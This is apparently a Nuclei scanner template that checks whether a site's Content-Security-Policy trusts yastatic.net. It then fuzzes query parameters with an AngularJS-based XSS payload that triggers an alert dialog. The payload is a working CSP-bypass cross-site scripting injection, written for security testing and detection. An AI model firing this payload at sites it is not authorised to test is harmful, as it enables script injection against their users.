id: yastatic-angular-csp-bypass

info:
  name: Content-Security-Policy Bypass - Yastatic Angular
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,yastatic-angular

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "yastatic.net"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: yastatic_angular_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://yastatic.net/s3/milab/js/angular.min.js"></script><div ng-app><input autofocus ng-focus="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);">'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "yastatic_angular_csp_xss == true"
# digest: 4a0a00473045022100e2cc1f0e70768da28a776b434f657dbfa70f94abdc74bae70729965369e61ee2022013628b46e592f677c936ec9c184359b647dac915d393d13bccb61e2e6a868a75:922c64590222798bb761d5b6d8e72950